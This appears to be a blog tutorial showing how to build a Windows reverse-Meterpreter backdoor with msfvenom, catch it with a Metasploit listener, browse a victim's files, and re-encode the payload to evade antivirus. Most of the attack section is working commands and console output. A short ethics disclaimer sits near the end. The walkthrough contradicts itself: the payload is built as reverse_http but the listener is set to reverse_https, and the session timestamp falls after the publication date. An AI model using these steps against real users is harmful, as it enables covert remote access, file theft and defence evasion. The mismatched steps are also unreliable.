Client-Side Attacks: Backdoor Payload Operations

Published on September 8, 2025 • 22 min read

When traditional server-side attacks prove ineffective, security professionals and ethical hackers turn to client-side attacks. These attacks target the human element - convincing users to download and execute malicious files that provide remote access to their systems.

In this comprehensive guide, we'll explore how to create, deploy, and manage backdoor payloads using powerful tools like msfvenom and Metasploit, while also discussing techniques to evade modern antivirus solutions.

Understanding Backdoors and Client-Side Attacks

A backdoorA program that provides remote control of the system it gets executed on is a malicious program that provides unauthorized remote access to a compromised system. Unlike server-side attacks that target network services, client-side attacks rely on social engineering to trick users into executing the backdoor.

Backdoor Capabilities:

  • Execute system commands remotely
  • Access system resources and files
  • Capture keystrokes and screenshots
  • Maintain persistent access
  • Pivot to other systems on the network

Introduction to MSFVenom

msfvenom is a powerful payload generator that combines the capabilities of msfpayload and msfencode from the Metasploit framework. It allows security professionals to create customized backdoor executables for various platforms.

Listing Available Payloads

Before creating a backdoor, let's explore the available payload options:

root@kali:~# msfvenom --list payloads
Payload Name Description
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
android/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell
android/shell/reverse_http Spawn a piped command shell (sh). Tunnel communication over HTTP

Understanding Payload Naming Conventions

Payload names follow a specific structure that reveals their characteristics:

windows/meterpreter/reverse_https
Component Description Examples
Platform Target operating system or environment windows, linux, android, osx
Payload Type Type of shell or interface provided meterpreter, shell, python
Connection Direction How the connection is established reverse, bind
Protocol Communication protocol used tcp, http, https, udp

Bind vs Reverse Payloads

Type How It Works Advantages Disadvantages
Bind Payload Opens a port on the target system and waits for incoming connections Simple setup, direct connection Easily detected by firewalls, triggers security alerts
Reverse Payload Connects back to the attacker's machine from the target system Bypasses firewalls, less likely to trigger alerts Requires attacker to have reachable IP/domain

Creating Your First Backdoor

Examining Payload Options

Before generating a payload, let's examine its specific options:

root@kali:~# msfvenom --payload windows/meterpreter/reverse_http --list-options
Option Required Description Default Value
LHOST Yes The local listener hostname (attacker's IP) None
LPORT Yes The local listener port 8080
EXITFUNC Yes Exit technique process
LURI No The HTTP Path None

Generating the Backdoor Executable

Now let's create our backdoor executable:

root@kali:~# msfvenom --payload windows/meterpreter/reverse_http LHOST=XXX.XXX.XXX.XXX LPORT=8080 --format exe --out revhttps8080.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 595 bytes Final size of exe file: 73802 bytes Saved as: revhttps8080.exe
Backdoor executable successfully created

Setting Up the Listener

With our backdoor created, we need to set up a listener to receive incoming connections from compromised systems.

Starting Metasploit Console

root@kali:~# msfconsole

Configuring the Multi-Handler

msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) >

We need to update the payload to match the one we used in our backdoor:

msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https PAYLOAD => windows/meterpreter/reverse_https

Configuring Listener Options

msf6 exploit(multi/handler) > set LHOST XXX.XXX.XXX.XXX LHOST => XXX.XXX.XXX.XXX msf6 exploit(multi/handler) > set LPORT 8080 LPORT => 8080

Verifying Configuration

msf6 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_https): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique LHOST XXX.XXX.XXX.XXX yes The local listener hostname LPORT 8080 yes The local listener port LURI no The HTTP Path

Starting the Listener

msf6 exploit(multi/handler) > exploit [*] Started HTTPS reverse handler on https://XXX.XXX.XXX.XXX:8080

Our listener is now active and waiting for incoming connections from compromised systems.

Successful Compromise and Access

When a target user downloads and executes our backdoor, we receive a connection:

[!] https://XXX.XXX.XXX.XXX:8080 handling request from XXX.XXX.XXX.XXX; (UUID: a7ay5gpp) Without a database connected that payload UUID tracking will not work! [*] https://XXX.XXX.XXX.XXX:8080 handling request from XXX.XXX.XXX.XXX; (UUID: a7ay5gpp) Staging x86 payload (177244 bytes) ... [!] https://XXX.XXX.XXX.XXX:8080 handling request from XXX.XXX.XXX.XXX; (UUID: a7ay5gpp) Without a database connected that payload UUID tracking will not work! [*] Meterpreter session 1 opened (XXX.XXX.XXX.XXX:8080 -> XXX.XXX.XXX.XXX:51854) at 2025-11-26 14:13:54 -0500

Interacting with the Compromised System

meterpreter > pwd D:\download default meterpreter > ls Listing: D:\download default ============================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 28188 fil 2025-05-29 06:27:08 -0400 1741773123074.jpg 100666/rw-rw-rw- 1861 fil 2025-06-16 03:12:00 -0400 Vector (1).png
[Image 2: Meterpreter session active with file listing]
Successful remote access to target system

Antivirus Evasion Techniques

Modern antivirus solutions use sophisticated detection methods. Understanding these helps us create more effective payloads.

Antivirus Detection Methods

Detection Method How It Works Evasion Techniques
Static Analysis Compares file signatures and code patterns to known malware databases Encoders, packers, obfuscators, custom compilation
Dynamic Analysis Monitors program behavior in sandboxed environments Delayed execution, benign operations, environment checks
Heuristic Analysis Analyzes code structure and behavior patterns Polymorphic code, behavior masking

Practical Evasion Strategies

Effective Evasion Techniques:

  • Use Encoders: Apply multiple encoding passes to change the payload signature
  • Add Benign Operations: Include legitimate functions like calculator or text editor capabilities
  • Implement Execution Delays: Wait before activating malicious functions
  • Environment Awareness: Check for sandbox environments before executing
  • Custom Compilation: Compile payloads with unique settings and obfuscation

Advanced Payload Generation with Evasion

# Example with encoding and multiple iterations root@kali:~# msfvenom -p windows/meterpreter/reverse_https LHOST=XXX.XXX.XXX.XXX LPORT=443 -e x86/shikata_ga_nai -i 5 -f exe -o advanced_backdoor.exe

Legal and Ethical Considerations

Critical Warning: Client-side attacks and backdoor deployment should only be performed under these conditions:

  • On systems you own and control
  • With explicit written permission from system owners
  • During authorized penetration testing engagements
  • In controlled educational or research environments
  • As part of legitimate red team exercises

Unauthorized deployment of backdoors is illegal and can result in severe legal consequences including criminal charges.

Best Practices for Security Professionals

Responsible Backdoor Testing:

  • Always obtain proper authorization before testing
  • Document all testing activities thoroughly
  • Use isolated test environments when possible
  • Remove all backdoors after testing completion
  • Follow responsible disclosure practices
  • Maintain strict confidentiality of findings

Conclusion

Client-side attacks using backdoor payloads represent a powerful technique in the security professional's toolkit. By understanding how to create, deploy, and manage these payloads while evading detection mechanisms, security teams can better assess organizational vulnerabilities.

The techniques demonstrated in this article—from basic payload generation with msfvenom to advanced antivirus evasion strategies—highlight the importance of comprehensive security testing. However, these powerful capabilities must always be used responsibly and ethically.

Key Takeaways:

  • Client-side attacks target human behavior rather than technical vulnerabilities
  • MSFVenom provides extensive payload generation capabilities
  • Reverse payloads are generally more effective than bind payloads
  • Antivirus evasion requires understanding both static and dynamic detection methods
  • Proper authorization is absolutely essential for all testing activities
  • Documentation and responsible disclosure are critical components of professional testing

By mastering these techniques within ethical boundaries, security professionals can help organizations strengthen their defenses against real-world attacks while maintaining the highest standards of professional conduct.